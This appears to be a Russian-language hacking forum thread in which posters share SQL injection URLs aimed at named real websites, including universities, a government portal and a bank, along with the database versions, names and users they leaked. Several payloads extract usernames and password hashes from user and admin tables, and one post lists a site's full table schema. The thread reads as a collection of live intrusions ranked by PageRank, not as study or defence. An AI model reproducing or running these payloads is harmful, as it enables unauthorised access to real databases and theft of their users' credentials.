SQL Инъекции

http://www.e-lephant.org/Download.php?ID=685+UNION+SELECT+1,database(),3,4,password,6,7,user(),9,10,name,12,13,14,15,16,id,18,19,20,21,22,@@version_compile_os,24,25,26,27,28,29,version(),31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64+FROM+users+LIMIT+1,1--


Database Version: 5.0.51a-log
Database name: db239698340
User name: [email protected]
Os : redhat-linux-gnu

 

Code:

http://climatecounts.org/scorecardlist.php?c=-13+UNION+SELECT+1,CONCAT_WS(0x3a,Version(),Database(),User()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*

5.0.45:climatecounts:climatecounts@localhost

 

Внимание!!! 10000 - ДесятиТысячныйПост в теме Гг​

Code:

http://www.mysilvercrest.de/de/kategorie.php?k=1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),19,20+LIMIT+1,1/*

Database Version: 4.0.18-log
Database name: dbsilvercrest
User name: heimpel@localhost

 

Code:

http://postgraduate.udsm.ac.tz/page.php?id=-1'+union+select+1,2,3,4,version(),6,7/*

Database Version: 5.0.22
Database name: postgraduate
User name: postgraduate@localhost

 

вывод в титлы
db151943372:4.0.27-max-log:[email protected]
===============================================
PR 5

вывод в титлы
vermontf_vfnDB:4.1.22-standard:vermontf_php@localhost
===============================================
PR 1

вывод в титлы
wwwdomo_dujie:4.1.22-standard:wwwdomo_dujie@localhost
===============================================

dmooseco_alphasigs:4.1.22-standard:dmooseco_dmoose@localhost

 

HTML:

http://www.rokent.com/news.php?id=-66+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4--

4.1.22:rokcorp:foneport@localhost

HTML:

http://www.spiritgotgame.net/archived_news.php?news_id=-2+union+select+concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7,8,9,10,11--

4.0.15-log:spirit_got_game:spiritgotgame@localhost

 

http://fogel.gl.ciw.edu/news.php?newsid=146+and+substring(version(),1,1)=x


Version : 3.23.58

 

Code:

http://www.cali.[COLOR=DarkRed]gov[/COLOR].co/corporativo.php?id=1860%27+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11+limit+1,1/*

version():5.0.26-Max
database():caligovco
user()ortal@localhost
__

Code:

http://www.rao-ees.edu.ru/index.php?module=dsEnterprises&func=display&catid=2&eid=56+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+limit+1,1/*

version():4.0.18-log
database():hr_energo_ru
user():hrenergo@localhost
___

Code:

http://www.spsrasd.info/es/detail.php?id=594+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8+limit+1,1

version():5.0.58
database():cms
user():spsrasd@localhost
___

Code:

http://www.tiemposevero.es/ver-reportaje.php?id=230%27+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9,10,11,12,13+limit+1,1/*

version():5.0.45
database():spainsevereweather
user():tiemposevero@localhost
___

Code:

http://www.trailrunning.co.za/events_detail.php?id=179+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15/*

version():5.0.32-Debian_7etch10
database():trailrun_db1
user():[email protected]

 

Code:

http://www.fremontonline.org/menu1.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user,password)+from+mysql.user/*

 

Code:

http://www.emersonprint.com.au/news-details.php?ID=-1+union+select+1,version(),3,4,5,6,7,8/*

Database Version: 4.1.21-standard
Database name: emerspr_cms
User name: emerspr_cms@localhost

------------------------------------------------------------------------------------------------------------------------

Code:

http://www.ncsa.illinois.edu/AboutUs/People/contact.php?id=-775+union+select+1,version(),3,4,5,6,7,8,9,10--

Database Version: 5.0.67-log
Database name: website
User name: [email protected]

Code:

17 :In database website found table category_list     0 :   ID     1 :   name     2 :   link_name  18 :In database website found table content_list     0 :   ID     1 :   name     2 :   table_name  19 :In database website found table dir_table     0 :   ID     1 :   parent_dir     2 :   name  20 :In database website found table division_content     0 :   ID     1 :   parent_div     2 :   lead     3 :   contact     4 :   short_desc     5 :   long_desc     6 :   name  21 :In database website found table file_table     0 :   ID     1 :   dir_id     2 :   file_name     3 :   file_type     4 :   page_id  22 :In database website found table image_content     0 :   ID     1 :   name     2 :   URL     3 :   ALT  23 :In database website found table links_content_table     0 :   ID     1 :   HREF     2 :   title0     3 :   title1     4 :   title2  24 :In database website found table news_content_table     0 :   ID     1 :   title     2 :   date     3 :   release_date     4 :   storyLink     5 :   short_Blurb     6 :   full_Story     7 :   contact     8 :   location     9 :   category     10 :   storyType     11 :   images     12 :   vid_link  25 :In database website found table page_table     0 :   ID     1 :   name     2 :   title     3 :   navtype     4 :   navBox     5 :   related     6 :   external     7 :   body     8 :   style     9 :   template     10 :   keywords  26 :In database website found table people_content     0 :   ID     1 :   first_name     2 :   last_name     3 :   title     4 :   email     5 :   office     6 :   phone     7 :   division     8 :   description     9 :   client_id  27 :In database website found table people_test     0 :   ID     1 :   first_name     2 :   last_name     3 :   title     4 :   email     5 :   office     6 :   phone     7 :   division     8 :   description     9 :   client_id  28 :In database website found table project_content     0 :   ID     1 :   name     2 :   group     3 :   funding_source     4 :   contact     5 :   lead     6 :   members     7 :   partners     8 :   short_desc     9 :   long_desc  29 :In database website found table pubresearch_content     0 :   ID     1 :   title     2 :   author     3 :   link     4 :   biblio     5 :   category     6 :   date     7 :   publication_citation     8 :   publication_abstract     9 :   date_revised     10 :   publication_grant     11 :   pub_type  30 :In database website found table story_types     0 :   name  

nothing interesting

 

Code:

http://nuclear-coffee.com/ru/news.php?ID=-35+union+select+1,2,concat_ws(0x3a3a,ID,Link,Name,MainSite,ExampleURL),4+from+websites+--+

Code:

http://www.lesducsdangers.fr/news.php?ID=-823+union+select+1,concat_ws(0x3a3a,username,user_password,user_level),3,4,5,6,7+from+forum_users+limit+1,1+--+
http://www.lesducsdangers.fr/news.php?ID=-823+union+select+1,concat_ws(0x3a3a,user_type,username,user_password,user_email),3,4,5,6,7+from+newforum_users+limit+1,1+--+

Code:

http://www.swcrc.com/content.php?id=-43+union+select+1,2,3,4,group_concat(adminuser,char(58),adminpass),6,7,8,9,10,11+from+adminsetting+--+

 

[PR 6]

Code:

http://www.consulplan.net/noticias/noticia.php?id=-95+union+select+1,2,3,4,unhex(hex(concat_ws(0x3a,version(),database(),user()))),6,7,8,9,10,11

4.1.18-nt-log:consulplan:consulplan_user@localhost
=================
[PR 5]

Code:

http://www.semanario.pt/seccao.php?id_seccao=-2+union+select+1,concat_ws(0x3a,version(),database(),user()),3--

4.0.16-standard-log:semanario:semanario@localhost
=================
[PR 4]

Code:

http://www.tuk-tuk.com/board/detail.php?id=-77+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15

5.0.22:tuktuk_web:tuktuk_user2550@localhost

Code:

http://www.tuk-tuk.com/board/detail.php?id=-77+union+select+1,2,3,4,5,group_concat(table_name),7,8,9,10,11,12,13,14,15+from+information_schema.tables+where+table_schema!=0x696e666f726d6174696f6e5f736368656d61+and+table_name%3E0x74756b74756b5f6d6f645f70616765696e666f
http://www.tuk-tuk.com/board/detail.php?id=-77+union+select+1,2,3,4,5,group_concat(column_name),7,8,9,10,11,12,13,14,15+from+information_schema.columns+where+table_name=0x74756b74756b5f73797374656d5f75736572

data from table 'tuktuk_system_user'

Code:

http://www.tuk-tuk.com/board/detail.php?id=-77+union+select+1,2,3,4,5,concat_ws(0x3a,tuktuk_system_user_ID,tuktuk_system_user_Name,tuktuk_system_user_Password),7,8,9,10,11,12,13,14,15+from+tuktuk_system_user

=================
[PR 4]

Code:

http://www.cenertec.pt/cursos.php?id=-80+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

5.0.81-community:cenertec_site:cenertec_site@localhost

 

http://www.stevensgroup.org/page.php?id=-13+union+select+group_concat(username,0x3a,password),2,3+from+users/*

Database Version: 4.1.22-standard
Database name: stevensg_msgdb
User name: stevensg_msgdb@localhost

--------------------------------------------------------------------------------------------------------------------------

PR 6

Code:

http://www.itr.unisa.edu.au/news/seminardetails.php?id=-549+union+select+1,2,3,4,5,6,7,8/*

Database Version: 5.0.22
User name: [email protected]

 

PR 5

pnc_chapman:4.0.24-lognc_chapman@localhost
=====================================
PR 4

systems:5.0.51a-3ubuntu5.4:[email protected]
=====================================
PR 4

natal_ippa:5.0.45-log:[email protected]

 

сербский банк..

http://www.bankmeridian.com/eng/viewnews1.php?section=99&text_id=366+and+substring(version(),1,1)=3/*

эх

 

http://www.sewmach.com.ua/cat.php?cat=23&art=-114++union+select+1,2,concat(user_login,0x3a,user_passw),4,5,6+from+auth_users

Database Version: 5.0.67-log
Database name: sew-mach
User name: sew-mach@localhost

Линия красоты

Code:

http://www.beauty-line.com.ua/cat.php?nom=cat&firm=-5+UNION+SELECT+CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),2,3,4

Database Version: 4.1.22
Database name: gezanne
User name: gezanne@localhost

 

http://onlinefoto.com.ua/backlinks/links.php?id=3092'

http://onlinefoto.com.ua/backlinks/links.php?id=3092'+union+select+1,2/*

БД
Database Version: 5.0.45-log
Database name: onlinefoto
User name: onlinefoto@localhost

Ток чет с таблицами никак не получается...(